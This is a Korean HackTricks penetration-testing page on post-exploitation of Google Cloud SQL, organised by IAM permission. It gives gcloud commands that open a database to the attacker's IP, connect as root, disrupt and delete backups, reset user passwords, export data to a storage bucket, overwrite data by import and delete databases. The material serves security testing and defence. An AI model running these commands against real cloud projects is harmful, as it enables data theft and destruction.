GCP - Cloud SQL Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Cloud SQL

Cloud SQL에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

데이터베이스에 연결하려면 데이터베이스 포트에 대한 액세스 권한과 사용자 이름비밀번호만 알면 됩니다. IAM 요구 사항은 없습니다. 따라서, 데이터베이스에 공개 IP 주소가 있는 경우, 허용된 네트워크를 업데이트하고 자신의 IP 주소를 액세스할 수 있도록 허용하는 것이 쉬운 방법입니다.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

데이터베이스의 백업을 방해하기 위해 **--no-backup**을 사용할 수도 있습니다.

이 요구 사항에 대해서는 cloudsql.instances.connectcloudsql.instances.login 권한이 정확히 무엇을 의미하는지 확실하지 않습니다. 알고 계시다면 PR을 보내주세요!

cloudsql.users.list

데이터베이스의 모든 사용자 목록을 가져옵니다:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

이 권한은 데이터베이스 내에서 새로운 사용자를 생성할 수 있게 합니다:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

이 권한은 데이터베이스 내에서 사용자를 업데이트하는 것을 허용합니다. 예를 들어, 비밀번호를 변경할 수 있습니다:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

백업에는 이전의 민감한 정보가 포함될 수 있으므로 확인하는 것이 흥미로울 수 있습니다. 데이터베이스 내에서 백업을 복원하세요:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

보다 은밀하게 작업하기 위해 현재 실행 중인 데이터베이스가 아닌 새로운 SQL 인스턴스를 생성하고 데이터를 복구하는 것이 좋습니다.

cloudsql.backupRuns.delete

이 권한은 백업을 삭제할 수 있습니다.

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

데이터베이스를 내보내기하여 Cloud Storage 버킷에서 액세스할 수 있도록합니다:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

클라우드 스토리지 버킷에서 데이터베이스를 덮어쓰기하여 가져옵니다:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

데이터베이스를 데이터베이스 인스턴스에서 삭제합니다:

gcloud sql databases delete <db-name> --instance <instance-id>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新